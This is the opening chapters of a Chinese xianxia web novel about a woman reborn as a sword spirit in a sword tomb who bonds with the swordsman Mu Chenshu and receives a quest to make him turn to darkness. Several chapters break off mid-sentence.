《剑灵她整日妖言惑仙》 1. 一 人在剑冢，精神“良好” 《剑灵她整日妖言惑仙》全本免费阅读 洛绫在第不知道多少次沉睡后醒来。 这也是她来到这个未知世界的第不知道多少天。 她被系统坑了，她确信。 洛绫是因为一场大病去世的，死后，由于没有足够的功德，不足以投胎转世，系统便给了她两个选择—— 要么转生去当深海两千米的灯笼鱼，要么，去其他世界完成他派发的任务，努努力，卷一卷，积攒功德转世为人。 洛绫生病的那段时间，看过不少此类穿越重生的读物，于是欣然答允帮系统跑腿。 然后，她就穿越了，然后，就没有然后了。 她不能动弹，不能坐，不能躺，更不能离开，每天只是漂浮在潮湿冰凉的黑暗中，借着偶尔从上空落下的一隙光亮，看着对面的玄铁墙壁发呆。 墙壁上镶嵌着一把把的剑，交叠凌乱，有的裂了口，有的生了锈，有的没剑柄，有的没剑锋……一墙斑驳的剑，那些陈旧的剑，也不知是怎么回事，还时不时散发出幽幽的蓝光，委实瘆人。 洛绫不解系统是何意，干嘛要让她整天对着一面剑墙。 不过好在的是，洛绫的精神状态一直保持得很良好，虽然要日复一日地在黑暗中发呆，日复一日地熬过漫长的时间。 她清醒时，便数地上爬过几只蚂蚁，观察杂草的每一寸纹路，看看墙缝里地藓是否又厚实了几分。 她想象地面上有个庞大的蚂蚁帝国，有蚂蚁国王和蚂蚁王后，他们常常在自己的帝国里巡视，寻找遗落的宝物。 杂草丛其实是一片危险重重的迷雾森林，里面充斥妖魔鬼怪，御前蚂蚁侍卫就在森林里和那些妖魔鬼怪厮杀，掩护国王王后走出森林，抵达被绿藓包裹的墙缝——那遍布宝藏的秘境。 蚂蚁们进入墙缝，从此开始寻宝的新篇章。 妄想结束之后，洛绫便会入睡，幸运的是，她完全没有失眠的烦恼，只要想睡，稍不留神，立马就会陷入沉沉的黑暗。 而这一睡，再睁开眼，总会不知过去了多少个时日，黑漆漆的密室内没有钟表，洛绫却很清楚她每回至少会睡上个把月的时间。 因为当她醒来时总能惊奇地发现，旧的虫巢没了，路边的杂草也尽数枯死，下一次醒来，密室又总会多出新的生物，新的气象。 就这样，洛绫能明显地感觉到时间在那些沉寂的黑暗中快速流逝，快到她几乎没什么感觉，她就能说话了。 不仅是能说话，还能听到其他“人”说话。 “喂，那边的剑灵，你这什么资质？修炼了一百多年才有魂形。” 洛绫疑惑，“修炼？什么修炼？” “修炼就是修炼，看你什么也不懂，还趴在剑上干嘛？赶紧下来，跟我出去帮忙！” 剑？ 洛绫下意识地做了个跳的动作，然后她突然发现自己从墙上落了下来，稳稳地落在了地上。 她回过头，怔了足足半刻钟—— 身后的墙壁，没什么特别的，就跟她日日面对的，另一侧的那面剑墙一模一样，附满了斑驳的剑骸。 而她刚跳下来的，也是一把剑，一把三尺青锋剑。 刚刚那个声音叫她什么？剑灵？ 我是灵？ 轰轰隆隆，如雷覆顶，洛绫呆滞半晌，感情自己不是个人，连魂都才修成。 她还没来得及唉声叹气，便被一股力道给拖出了漆黑的密室，她好久没有行走，竟感觉东倒西歪，连站都站不稳。 “你有想好自己叫什么吗？” “啊？” “既然都有灵智了，总得取个名字吧？”前方那“人”回过头，洛绫看到了他的脸。 他应当也是灵，不过形修得极好，肤色白皙，眸如烁星，一身古风古意的白衣。 单看外表完全看不出他是个灵，洛绫不由摸了摸自己的脸，却感觉摸了个寂寞，什么也摸不出来。 “要是有面镜子就好了。” “镜子？” 那人停下脚步，一挥袖子，一汪清水凝聚于洛绫面前，形成一面长长的水镜，“喏，镜子。” 洛绫这才在朦胧不清的黑暗中，看到了自己，一头浓密的长发披散在腰际，小巧玲珑的瓜子脸，肌肤吹弹可破，她满怀期待地凑近镜子，企图看清自己绝美的五官—— 然而，什么都没有，真的什么都没有，一片空白，她的脸还是一片空白的。 她泄了气，一旁的白衣灵才笑道：“你才刚有灵智，就想着有脸了？那怎么可能？” “那我得多久才能化出自己的脸？”洛绫无奈问道。 “至少得花个二十年吧！” 白衣灵理所当然地回答，洛绫吸了口冷气，她还得保持无脸怪的状态整整二十年。 “对了，你想没想好自己叫什么？我总不能一直叫你喂吧？” “不叫喂，叫我楚雨荨也行。”洛绫有气无力地回答。 “楚雨荨？这是你的名字？”他颇为认真地捏着下巴。 洛绫连忙摇头，“不是，我叫洛绫——洛阳的洛，绫罗的绫。” “什么乱七八糟的，我就叫你绫绫好了。”白衣灵拍了拍胸膛，“我叫阿七！” 还真是简单粗暴的名字。 洛绫被阿七领着，沿一条伸手不见五指的甬道，一前一后地前行，洛绫在后头询问：“阿七，你刚刚说出去帮忙，帮谁的忙？要帮什么忙？ “帮大伙打入侵者啊。” “入侵者？” 阿七点头，“剑冢里常有入侵者，那些歹徒总想着从这里拿走法器宝剑，而我们的职责，就是要赶走他们，阻止他们的入侵！” “剑冢？这里有很多跟我们一样的剑灵吗？” “对，剑冢很大，共分四墟，我们所在的这一部分区域叫做梦墟，除了梦墟以外，还有寒墟、情墟、离墟这三墟，虽然剑灵不少，但能有灵智且化形的却并不多，化形了的剑灵，自然就得承担起守卫剑冢的责任！” 阿七侃侃而谈，洛绫却不解：“可你们为什么要守护剑冢？不去其他地方呢？” “因为这里是我们的家啊。” 阿七敲了敲她的脑门，“这里也是你的家，绫绫。” 家，真是个遥远的概念。 她在剑冢度过的不知道多少个岁月，早已将她对于前世的感情与记忆都磨灭得一干二净，她除了记得自己叫洛绫以外，其余什么也不记得。 她想，这或许是系统的杰作。 为了让她更好地帮他跑腿，她的记忆被系统人为抹去了。 虽然她已经很久没有听到过系统的声音了，她甚至都开始怀疑那玩意儿是不是和她解绑了。 阿七与洛绫就这样穿过那条黑漆漆的甬道，来到一条长长的斜坡前，“从这儿下去，阿大他们在等我们。” 2. 二 找找我的脸 《剑灵她整日妖言惑仙》全本免费阅读 “高师兄，我怎么觉得这里一点儿都不像师父说的奚山秘境啊……” “你靠不靠谱？高岳，这里雾气横生，下面还是悬崖，我听几位去过奚山的师兄师姐说过，那里可到处都是林木怪石，压根不长这样！” “够了够了，你们懂什么？丑丑从来没带错过路！跟着它走不可能有问题！” …… 廊道内三人争论不休，而在三人前方，是一只发着光亮的白毛小兔子，小兔子长着对荧光闪闪的翅膀，悬浮在雾蒙蒙的廊道内，正疲倦地用小爪子揉眼睛。 三人还在你一嘴我一舌地争论，就听见“啪嗒”一声，前方那只领路的小兔子摔到了地面上，发出咕噜咕噜的声响。 名叫高岳的年轻修士将地上的小兔子捡起，脸色煞白，“糟了！丑丑睡着了！” 灵兽丑丑正躺在他掌心呼呼大睡，全然不管领路事宜。 见状，高岳身畔的黄衣少女双目一睁，慌忙往后退了好几步。 “丑丑莫不是在路上乱吃了什么东西？”另一名修士猜测道。 “咱们先出去再说吧。”那黄衣少女拽住二人的袖子，“高师兄，裘师兄，这里肯定不对劲，我，我刚刚进来，好像还看到几道白影……” 高岳擦了擦额头的冷汗，强作镇定道：“不一定，也许我们没走错呢，搞不好其他人已经在前面等我们了，我们若是走了，仙门大比不就功亏一篑了？” “可万一前面有什么危险呢？”裘姓修士看着前方厚密的浓雾。 “裘锦，苏烟，你们俩啊，就是被你们师父惯的——”高岳接着擦汗，“月海师叔虽是当世麟才，但到底年轻了些，不知如何规训弟子，仙门大比这样重大的比试，难度自然是不能与寻常考校提并论的，弄些障眼法迷惑我们也是很正常的。” “你是说，这些都是障眼法？” 裘锦极为不信任地看向高岳。 “就算不是又能怎样？”高岳抬高了音量，“反正，我们进都进来了，难不成现在折返再往奚山去？再去我们也输定了！” 的确，裘锦与苏烟陷入了沉思，即便真走错了，再赶往奚山也肯定也是来不及的了。 “还不如，一条路走到黑，这里就是最终考验也说不定。”高岳拍了拍裘锦的肩膀，“走吧，快些前行，相信师兄，咱们一定能赢下比试的！” 他说罢一马当先，走在了最前方，见此裘锦也不好离去，只好回头看了看胆怯的师妹，他伸出手道：“师妹，你要是害怕就抓住我的手吧。” “你的手能驱鬼吗？”苏烟吸了吸鼻子。 “这世上哪有什么鬼？”裘锦宽慰她，“都是骗小孩的玩意儿，冥府可不会允许鬼魂四处晃悠的。” 苏烟撅了撅嘴，虽心中不大信服，却仍然握住他的手臂。 三人继续在长廊内如履薄冰地前行。 “快看！前面好像有一扇门！”高岳兴奋地大喊，“那里定然是仙门大比的终点了！师父他们肯定在里头等着我们呢！” 苏烟却心有戚戚，她仔细打量着迷雾之外的那扇青铜大门，两侧似乎写着什么字，她抬起双指，使出她最为擅长的千眼术，仔细观察上面雕刻的斑驳字迹。 “吾心幽幽……黄泉难觅……” 她甫念出这两行字，便忽然看到眼前掠过一道白影，术法猝然中断，她瘫软在了地上。 裘锦将她扶起，“怎么了？师妹？” 苏烟颤颤巍巍地指着前方，“我在那扇门前面看到了一道白影，师兄，真的，咱们走吧，仙门大比我不比了，大不了回去跟师父解释……” “够了，师妹！”高岳打断了她的话语，“什么鬼不鬼，人不人的！我们可是修士！降妖除魔都不怕，怕劳什子的鬼？” 他再次抬袖，将额头的冷汗拭净。 “你们不进去我可要进去，若是在大比中拿不到名次，我师父肯定得扒了我的皮！” 他说罢一甩袖子，将沉睡的灵兽丑丑塞入乾坤袋，大步流星地往前走去。 可没等他走两步，前方便赫然出现一道幽幽的白影。 “请问，你们要到哪儿去？” 一道清冷的女声响起，高岳止住了脚步。 苏烟与裘锦都愣在了原地。 “你，你是谁？”高岳额头止不住地冒冷汗，“在这儿装神弄鬼作甚？” “我啊，我在找一样东西。” 那女子缓缓在迷雾中靠近，着一身白衣，她低垂着头颅，长发披散到腰间，正一摇一晃地朝三人走来。 高岳抬手道：“站住！别过来！再过来，我可要不客气了！” 他慌慌张张地掏出乾坤袋，手正要往内摸索，不料手指一软，乾坤袋便落到了地上，他俯身去捡，再抬头，七魄丢了三魄。 那白衣女子不知何时已经来到了他的面前，浓密的乌发将脸颊完全遮挡。 她缓缓仰起了头，长发分披两侧，一张瓜子脸蛋上，竟光溜溜的，空无一物。 她哑着声音道：“我的脸不见了，你们能帮我找找吗？” 高岳一愣，旋即震天地嚎叫:“鬼啊！！！！” 他连滚带爬地往后逃去，眼角泪水飞飚，跑得颠来倒去，一只鞋子都甩到了廊道外的悬崖下。 裘锦见状，一把将早已吓得昏厥过去的师妹打横抱起，跟在嗷嗷大叫的高岳后头，飞快奔逃。 惨叫声在长廊内此起彼伏地响起，于空然的剑冢久久回荡，不绝于耳。 望着三人奔逃的背影，那无脸的白衣女子耸了耸肩，“比我想象中胆子还小。” “绫绫，你这么麻烦干嘛？”阿七从高处跃下，“直接杀了他们不就行了？” 洛绫揉了揉脑袋，或许是因为她上辈子也是个人吧，尚且做不到随意剥夺他人的性命。 “我就是觉着好玩。”洛绫随便找了个借口。 她散漫的目光忽然一定，看到地上落着的一块玉佩。 她来到那块玉佩前，将其捡起，抚摸两下，玉面顺滑，通体晶莹，雕琢成月牙状，底端缀着鲜红的穗子，好一块羊脂白玉。 “是个好物，那就暂且由我保管了。”洛绫将玉佩揣了起来，正好拿回去装饰装饰她的剑身。 “没想到这小丫头刚化魂形，鬼点子就不少——” 好几道人影陆续从廊道的上方与下方显形而出，洛绫抬起头。 约莫五人，男女皆有，为首的是一个皮肤黝黑的壮汉，阿七介绍道：“这是阿大，是我们梦墟的老大，地品剑灵，可厉害得紧。” 洛绫眨眨眼，看向阿大身后的几人，“我没猜错的话，后头的应该是，阿二，阿三，阿四，阿六？” “你怎么知道？”阿七大为震惊。 我能不知道吗？ 3. 三 绿衣郎 《剑灵她整日妖言惑仙》全本免费阅读 “你叫什么名字？” 洛绫装死。 话说，谁能告诉她，为什么好不容易醒过来，会有一个人类出现在她的面前？ 那家伙不是剑灵，是人类，她不用睁眼就一清二楚，灵与人的气息是截然不同的。 两根薄凉的手指忽然触到了她的剑身上，她感到整个人悚了一下，一动都不敢动，好强的——威压？ 的确是威压，一种极致的压迫感令她连呼吸都做不到，只能拼命收敛自己的气息，以期不被面前之人察觉。 他的手指往下，滑动到了剑柄一侧，把玩了两下柄上纹路，洛绫感到温度有些上升，她暗暗红了脸。 奇怪，为什么他摸剑，她会有感觉？剑灵与剑身莫非真是一体的？ “刻着上古文，是把很老的剑了，剑息却相当稚嫩。” 洛绫在黑暗中捂住了嘴巴，她可没呼吸，他怎么还能察觉到她的气息？ “出来吧。” 他用好整以暇的语气轻声道。 声音还挺好听的，温温和和，又不乏低沉的磁性，洛绫不知要不要出去，万一这只是他的伪装，出去了结果是个欺男霸女的猪头三怎么办？ 可还没等她思索片刻，一道凛冽的长风便将她卷离了剑中界，她从黑暗中拔出，落到了幽暗的剑冢中，晕头转向地望着身侧两面高大的剑墙。 剑冢与她沉睡之前相比，无甚变化，也不知阿七他们去哪儿了，怎么会任由一个人类溜进剑冢。 她心里嘀咕了两声，这才缓缓看向那不速之客—— 单看外表的话，那人不过十七八岁的少年郎，一身绿袍，如烟雨洇翠山，衣袍布料应该相当上乘，否则难以作出那样青而浅淡的优越成色。 而他的容貌，竟比他的衣还要夺目，眉峰如剑，双目仿若蕴着一池寒水，说是寒意深重，却又并不锐利，相当淡然。 他手中握着一把玄色的剑，剑鞘上攀一条雕工精致的玄铁黑龙。他的头偏向一侧，眼帘微微低垂着，很显然是在审视这个被他逮住的小剑灵。 剑冢分明是昏暗潮湿的，可不知为何，少年的周身仿佛环着薄薄的莹光，使人无法将视线从他的身上移转。 洛绫愣了愣，压下头，她感受到了这个少年身上的气息，他并非看起来那么年轻，虽然她只是个刚化了形的菜鸟，但任是菜鸟也有数，他强得可怕。 他不刻意掩饰自己的实力，说明他压根看不上她，也看不上剑冢内其他剑灵，他应当在这里自在散漫地行走了好一会儿了。 想到这里，洛绫更是心慌。 “阿七他们呢？” “我不认识什么阿七。”他漫不经心地回答。 “您没杀了他们吧？”洛绫忐忑地问道。 少年依然回道：“我不认识你说的阿七——不过，他应当不敢出来，我进来的时候，没有一个剑灵敢动弹。” 他语气轻淡，可越是这般轻淡，越能显出他实力的可怖。 还好，冢内没有剑灵敢跟他叫嚣……只是……他为何要将她唤醒？ “你还没回答我，小剑灵，你叫什么名字？”他再次问道。 洛绫鼓起勇气道：“问别人名字前，应当先自报姓名吧？” “倒有几分气魄。”他微愣，“你或许听说过我的名字，我姓牧，二字沉书。” 洛绫一怔，莫名觉得这名字十分耳熟，但那丢失的记忆令她思绪堵塞，该死，她感到头疼欲裂，她是不是真忘了什么很重要的事情？ “牧沉书……” 她叹了口气，正要答话，脑内忽然响起机械的男声。 【已触发关键人物——牧沉书。】 她瞪大眼，系统？活过来了？ 随着系统的觉醒，记忆如开闸之水汇入她脑内，迅速填满了每一个干涸的沟壑。 原来如此，他是牧沉书，原来如此，她竟然真的认识他。 * 洛绫生病那阵子，闲着无事，怏怏的身体也不足以支撑她出去游山玩水，便喜欢看看书，读些杂七杂八的玄幻仙侠文。 牧沉书便是她读的最后一本书中的角色。 他不是主角，只是用以衬托男女主美好爱情的悲惨配角。 这位男配是从小看着女主长大的小师叔，也是与其有着父母之命媒妁之言的未婚夫，两人本应在未来过上相敬如宾，仙途共济的幸福生活。 可惜，半路杀出来个白月光男主，把女主迷得神魂颠倒，还在大婚当日选择将竹马未婚夫公然抛弃。 这还不是最悲惨的，更悲惨的是，而后魔君临世，人人自危，牧沉书被污蔑为魔源之身，惨遭师门除名，从此声名败坏，一蹶不振…… 想来过得这么悲惨，也是该黑化了，可这厮挺到大结局，奉献出了最后一点价值——替女主挡刀挂掉，也愣是没黑化一丝一毫，匆匆结束了凄惨而潦草的一生。 见过惨的，没见过这么惨的。 又或许是爱情的力量令他选择了无限宽容吧，虽然书里从没正面描写过牧沉书对女主的感情，但能让一个人奋不顾身为另个一人挡刀的感情，想来也当如此了…… 难怪他穿着一身绿衣服呢。 洛绫无意流露出怜悯的目光，令那手持黑龙剑的少年无端感到不适。 洛绫在内心朝系统疯狂明示：话说，这么多年了，该发布任务了吧？我还要投胎转世呢！ 【因触发关键人物，下面将发布您的主线任务——】 洛绫舒了口气，幸好幸好。 【主线任务：在您阅览过的此本仙侠文中，促使正面角色月海剑仙堕魔。】 堕……魔？ 意思也就是，令他黑化入魔道？ 洛绫怔住，的确，前世她看这本小说时，在内心无数次感叹，这男配惨成这副德行，就该堕魔毁灭全世界，怎么还能甘心做个受气包？ 或许连老天都看不下去了，她这才穿到了他所在的世界之中，还正好获得系统发布的黑化任务。 洛绫点点头，很好，且看她大放异彩，搅动风云，养成黑化大BOSS！ 她唇角微微上扬，站在她对面的绿袍少年眸子促得更深了几分。 这个剑灵……莫非精神不大正常？ “剑仙大人好，我叫洛绫，很高兴认识您！” 洛绫回过神，张开双臂，朝牧沉书灿烂一笑。 “你果然知道我是谁。”牧沉书淡淡地应了句，“那么，把东西还给我吧。” 洛绫一怔，“东西？什么东西？” “一块羊脂玉佩。”他抬手指了指她，“你从两个年轻修士那里拿走的。” 原来是那块玉佩，洛绫下意识要去拿，却立刻止住了动作，抬头眨了眨眼，“剑仙大人，这玉佩对您来说重要吗？” “对我重不重要，与你有何干系吗？” 他抬起一双寒池冷冽的眸子，漠然地注视着她。 洛绫有些心虚，她也没办法，好死不活的穿成了个被封印的剑灵，要是不想办法离开这剑冢，连任务都没法做。 于是她扬起歉意的笑容道：“这个嘛，我就是想求您一件事，应当对您不是很困难——” “唰”的一声后，剑风掠过她耳侧，她回过头，只见身后墙壁被凿出了一个硕大的窟窿。 她整个人僵滞着。 “没错，那块玉佩的确对我很重要，所以，还请你归还于我。” 少年掸了掸沾染些许尘灰的剑身。 这是威胁，不交出玉佩，他会杀了她的意思，不过……洛绫也有自己的考量…… 她心一横，眼睛一闭，便大义凛然地躺在了地上。 “好，那您杀了我吧，反正您不答应我的要 4. 四 糟糕，成言灵了 《剑灵她整日妖言惑仙》全本免费阅读 “看来我们无缘无分。”牧沉书的语气浅淡到洛绫分不清他是否是在幸灾乐祸。 不过她也料想到了这种结局，她叹了口气，看来她并无外挂，也非锦鲤。 她看向牧沉书，指着剑刃道：“那您帮我破了剑冢的封印吧？” “可主仆关系无法缔结……” “我知道，以您的实力，强行破除剑冢的封印还是没问题的。” 洛绫笑了笑，好在，她看书的时候足够细致，细致到知晓月海剑仙实力深不可测。 剧情内，他还曾为解救落入险境的幼年女主，强行破除上古魔邪封印。 那么，这小破剑冢的封印再怎么了不起，也不可能比小说里的上古封印还强劲吧？ 洛绫越想越觉得自己逻辑正确，冲牧沉书眨巴眨巴眼睛，“剑仙大人？” “世上怎会有你这般无赖的剑灵？”他微微叹了叹气。 “您这相当于拯救一个被困于剑冢的可怜少女，是在做好事。” 洛绫相当厚脸皮地回道。 牧沉书若有所思：“你为何要离开剑冢？我从没见过有哪个剑灵会如你这般急切地想离开故冢。” “因为，我想看看阳光看看鲜花看看青草，看看美好的大千世界啊。” 洛绫话音落罢，抬头朝他笑了笑。 牧沉书一怔，没再追问，淡青色的幽光自指尖溢散，如帛如练，幽光螺旋游弋，将青锋剑厚密缠绕。 或许是剑、灵一体的缘故，洛绫也感受到了那光芒凉薄的温度，不由打了个寒战。 绿衣少年抿了抿唇角，“我可以试试，但并不保证能成功。” “那就麻烦剑仙大人了。” 她好言好语地道谢，虽然是在哄骗他帮忙破除封印，洛绫转念一想，自己也的确是为了阳光和鲜花而奋斗。 不然就只能在海沟里阴暗扭曲地啃水草了。 青锋剑被牧沉书的灵气裹成了茧状，他手掌微抬，灵气越发收束，将剑身勒紧。 “噗通”，洛绫浑身一紧，不自觉栽倒在了地上，被坚硬的石板砸得鼻头红肿，却又动弹不得，只能幽怨地望着牧沉书。 他不会是借故报复我吧？ 牧沉书瞧着不急不躁，几缕微风撩起他苍青色的衣摆，如河海泛涟漪，可不久这涟漪便掀起了滔天的波浪。 少年衣袍于狂风中猎猎作响，发丝缭乱飞舞，剧烈的狂风吹得洛绫有些睁不开眼，只见地面不知何时升起了惊人的灵气，那灵气氤氲似白雾，扶风而上，直冲剑冢顶端。 地面微微震颤了几下，洛绫不安地抬头，这阵仗是要把剑冢炸了？ 剑冢的空气本不算很畅通，甚至可以说十分浑浊，这股突来的飓风更是将剑墙与地面蒙生的尘坌全吹掀到了空中，洛绫被呛个半死，禁不住咳嗽起来。 论起来，她也不算个人类，怎么还能被灰尘呛到？ 她还在莫名地胡思乱想，却见前方亮起隐隐的红光，她抬起头，看到牧沉书睁开血光闪烁的双目，“破——” 裹缠青锋剑的灵气在一瞬崩散，根根丝线般游离，隐入剑冢四散的尘坌之中。 而那倒在地上的剑灵怔然许久，忽然发现自己的四肢可以动弹了，这才缓缓从地上起身。 她拍了拍衣裙，调度灵气，惊觉自己竟然可以感知到来自四面八方的不同气息。 淡而微涩的，是丰茂的草木，阵阵凉薄的，是春日的清风，还有那让人连脚趾都开始舒展的暖意，一定是从树木间洒落而下的阳光…… 洛绫用力吸了吸鼻子，不知为何竟然感觉眼睛发酸，她已经一百多年没感受过人间的气息了。 她这一百多年几乎都是在沉睡，可时间的流逝依然在她心中留下了苍茫的岁月之感。 牧沉书攥紧手，围绕他周身的狂风立时沉寂下来，空中弥漫的尘坌亦渐渐落下，少年身形一晃。 “剑仙大人，您还好吧？” 洛绫连忙来到他身前，扶住他摇晃的身躯，为了破除封印，他当消耗了不少灵气。 她心里有点自责，他是因为她的威胁才帮她的，看来书中他为了破开上古封印，一定付出了巨大代价。 “我没事——玉佩呢？”他抬起手，还没怎么清醒，便急切地询问她。 “那玉佩有那么重要吗？您怎么会这般惦记？” 洛绫感到怪异，她在书中甚至没听过劳什子的玉佩，大概也由于他是个男配，戏份不多的缘故吧。 “玉佩，是别人给我的……” 哦，原来如此。 洛绫笑了笑，“感情是个貌美如花的天仙给您的？” 不出意料的话，应当是女主给的吧，虽然她并不记得书里有提过此事。 牧沉书没回答，淡淡地道：“还我吧，我已经帮你完成你的要求了。” “当然！”洛绫连忙转身，“玉佩放在剑中界，我这就去拿。” 她说着便抬手要去碰面前的青锋剑，却蓦然一定。 只见那缕方才被她释放出剑冢的灵气正悠悠地自上空飘落，而底下青锋剑周身尚且弥漫着牧沉书淡青色的灵气。 按理说，先前两股灵气并未成功结合，应当是不会有什么问题的，但怪就怪在，她察觉到她的灵气溢散出了诡异的白烟。 “嗯？” 原本悠悠的灵气在泄出白烟后，竟不受她控制地加快了游弋的速度，那情形，简直就像是要飞奔到青锋剑刃上。 “剑仙大人，这？” 牧沉书见状心中一紧，“不好。” 剑刃之上游离的青光亦向上飞去，在洛绫还没反应过来之时，两股灵气便紧密地交缠在了一起，不，是交融，交融为一道血红的光，飞向二人。 洛绫浑身一抖，感到手心灼痛了下，抬手一看，原本白嫩的手心竟然多出了一朵四瓣菱花的印记。 “这是什么？” “剑灵认主的契印。” 牧沉书的声音颇为无奈，洛绫扭头一看，忽然发现他眉心多出了一道朱砂似的红痕，他抬指抚上红痕：“没错，我也有。” “我认主了？”洛绫大惊失色。 “你似乎没我想象中高兴？” “不是……”洛绫百口莫辩，“我就是奇怪，先前不是不行吗？灵气都相克了。” 牧沉书没有答话，而他游离的目光却让洛绫反应了过来，“先前是剑仙大人做了手脚？” “对，我做了手脚。” 牧沉书的语气倒十分坦然，“以常理而言，没有哪位修士会与一个素不相识的剑灵结下主仆关系。” “是啊，以常理而言。”洛绫抱着双臂，“可我这么一个小小的剑灵，您都要做手脚，是不是太不自信了？还是您就这么相信我一定会和您成功结合，呸，结契？” 牧沉书目光微烁，“我没必要告诉你更多，把玉佩给我吧。” “我……” 洛绫正要继续分辩 5. 五 初入人间 《剑灵她整日妖言惑仙》全本免费阅读 洛绫回到牧沉书身边时，心里还在思索着与小五的对话。 “阿七不是不想离开剑冢吗？就算真出现了有缘人，他也不会这般轻易就跟着人家走吧？” “是啊，也不知那女子跟他说了些什么，总之，他跟我们匆匆道别后，便离开了。” 小五话音末了，握住洛绫的手，“绫绫，他还让我告诉你，有朝一日你和他会再见面的。” “或许吧。” 洛绫幽幽地叹了口气，可天地之大，她却无法保证能否与他再相逢于人海。 “其实，小五姐。”洛绫动了动嘴唇，“我……” “怎么了？” “我也要走了。” 洛绫回想起青铜门中，白衣少女愕然的目光，心里还是有些紧巴巴的难受。 “是那个不速之客？他要强行带你走？”小五急得绾起袖子，“你莫怕，即便是拼上我这五百年的修为，我也要跟他说道清楚！” “不是的。” 洛绫抬起手，给她看掌心那深红的菱花契印，“我们已经结契了。” 小五愣了愣，“这么说……你是自愿的？” “算是自愿的吧。” 小五怔然半晌，叹了口气：“那也好，反正你不是一直都想着离开剑冢么……只是你跟阿七都走了，这剑冢只剩我独一个了……” “阿大他们不是还在吗？”洛绫上前，将她一把搂住，“放心，以后若是有机会，我一定会回来看你的。” 小五低下眸子，紧紧攥住她的手，“一言为定。” “一言为定！” …… 画面转到剑墙之下，洛绫盯着手心的菱花契印，还在失神。 “告别结束了？” 牧沉书这会儿功夫竟然还有空在地上打坐，他起身，指尖一动，青色莹光立刻将身上的尘灰尽数迸开。 “结束了。” 洛绫点头，却见黑龙剑飞入二人之间的空隙，他抬手道:“你先。” 还挺绅士。 洛绫上了剑，他旋即落于她身后。 黑龙剑在两侧剑墙之间的窄道灵巧穿梭，洛绫本还欲夸赞他这剑十分智能，剑冢的甬道这般曲折竟行若无物。 谁知抵达青褐色迷雾中时，黑龙剑却直冲那扇泛着冰冷金属光泽的青铜门，洛绫脸色煞白。 “门！门！等等！” 她往后一倒，她总算知道牧沉书为何会让她先上剑了，这是要让她撞个头破血流，立下马威！ 可洛绫哪儿肯，立马就要缩身钻到剑中界去，只听不容置疑的一声:“回来。” 她便只能定定地站在剑上了。 她注视着越发逼近的青铜门，由于牧沉书那道命令的缘故，连挡脸都没法挡脸，虽然她是个灵吧，但好歹也修成了魂形，这一撞恐怕得把她的魂形撞个稀巴烂了。 她悲凉地瞪大了眼，整张脸皱成了团菊花，尽管只有短短几瞬的时间，脑海中却上演了无数次自己变成一滩不可描述的番茄酱的场景。 “唰——” 她大抵是昏厥过去了，可预想中头破血流的情景却并未发生，涣散的瞳孔再次聚焦，她发现自己倒在了牧沉书的身上，而后者正一丝不苟地将她从身上挪开。 她站直身子，晕乎乎地抚摸着额头，完好，回身看到了那高挑的青铜门于迷雾中只剩一抹暗沉的绿色。 “过来了？怎么过来的？” 洛绫惊魂未定，胸口剧烈地起伏着，却听牧沉书淡然道：“只是很简单的穿墙术罢了。” “我知道穿墙术，阿七跟我讲过，可这里是剑冢，这里的墙和门一般修士是穿不过去的……” 她说完便抿紧了唇。 好吧，是她犯蠢了，他可不是一般修士。 黑龙剑穿过青铜门后，越过逶迤的倚梦廊，忽的剑锋向上，往上方天光泄露的窟窿呼啸而去。 幸好这黑龙剑游离的灵气将洛绫完全缚在了剑身上，不至于因调转方向落入底下漆黑的深渊。 “这底下埋了不少人的尸骨。” 牧沉书忽然提及此事，洛绫一怔，他续道：“都是你们这些剑灵杀的？” “贪财贪念之辈，本就该杀。” 在他面前，洛绫半点不带慈悲。 毕竟，她可是要让他堕魔，太伟光正绝不成。 “可这其中难免有误入剑冢，或被坑蒙欺骗的无辜者，他们也并未做错什么。” 洛绫唇角歪了歪，“怎么没做错？蠢就是一种错。” “所以，你也杀过人？” “……自然。” 洛绫的底气并不是很足，她踩只蟑螂怕都要嗷嗷大叫。 她抱住双臂，发丝缭乱飞舞着，却听身后之人幽幽道：“若你以后胆敢再杀任一无辜之人，我有很多种方法能教你如何敬畏生死。” 洛绫一怔，回头看到牧沉书肃然的目光，他是说真的，没有在开玩笑。 “哦，知道了。”洛绫扭过头，话语却不无讥讽，“毕竟小女子跟着一位圣人心肠的剑仙大人混嘛！” 牧沉书调动灵气，加快了黑龙剑的速度，当玄剑带着二人穿过洞顶窟窿，飞入沐洒的阳光中时，他叹了口气。 “你这剑灵，牙尖嘴利——” 他话音中漾着一丝不易察觉的笑意，“是要好好教化。” * 洛绫虽然并不知剑冢幽泉具体在这个世界的哪个方位，不过想来离东洲福地中的肃风门并不近。 因为牧沉书并没打算直接回宗门去，反而带着她到人间城池的客栈，预备住上一宿。 二人踏入一间无名客栈，牧沉书唤来小二，问道:“还有天字号房吗？” 小二见来人锦衣华服，丰神俊雅，脸上堆起谄媚的笑容，本就不大的眼睛更是眯成了一条缝，“有，有！客官，随时可以安排！” “一间天字号房，一间——”他乜着洛绫，“普通客房。” 洛绫不满地举手，“您不是两袖清风，品行高洁的修士吗？怎么还特意要豪华客房？” “高洁？”牧沉书煞有其事地点点头，“所以住普通客房会折辱我的高洁。” 洛绫无语，牧沉书带着她找了张桌子，洛绫刚坐下，却见他转身道:“我出去买点东西，你留在此处，不要走动。” “好。”洛绫答应着，“别走太远，我们还有那个契印呢。” 牧沉书淡淡地“嗯”了声，便仙气飘飘地离开了客栈。 正好小二上来递菜单——两块刻满菜名的木牌牌，洛绫在剑冢以吸取天地精华为食，并不吃东西，嘴里都快淡出鸟了。 见了菜单立马兴致勃勃地点菜，反正钱都是那个受气包剑仙付。 “这个，糖醋排骨来一份，香炙鸭肉、清炒天香豆、宫爆虾仁、清蒸鲈鱼……这些，还有这些，统 6. 六 新的任务 《剑灵她整日妖言惑仙》全本免费阅读 等牧沉书出去购置东西回来，就发现那个从剑冢带出来的小剑灵身边，不知何时多出了个陌生的红衣男子。 满桌菜肴几乎要放不下了，红衣男子幽怨地拿着酒壶，正为少女款款添酒。 “剑仙大人，你回来了？” 洛绫双目一亮，又使唤着身畔的男子，“再倒一杯酒，添碗米饭。” 红衣男子将酒壶一砸，猛地起身，怒气冲冲地道：“够了，我堂堂——” “这人是谁？”牧沉书平淡的一语却令红衣男子倏然定住。 他看了眼门口走进的绿袍少年，眸光微烁，又连忙坐了下去。 “他说他叫关瑕。”洛绫指着红衣男子说道。 “没听过这个名号。” 关瑕笑道：“一介无名散修罢了，哪里有甚么名号？” 牧沉书来到桌前，接过关瑕递来的酒水和饭碗，掀袍入座，刚抿了口酒便皱了皱眉，对关瑕道：“你可以走了。” 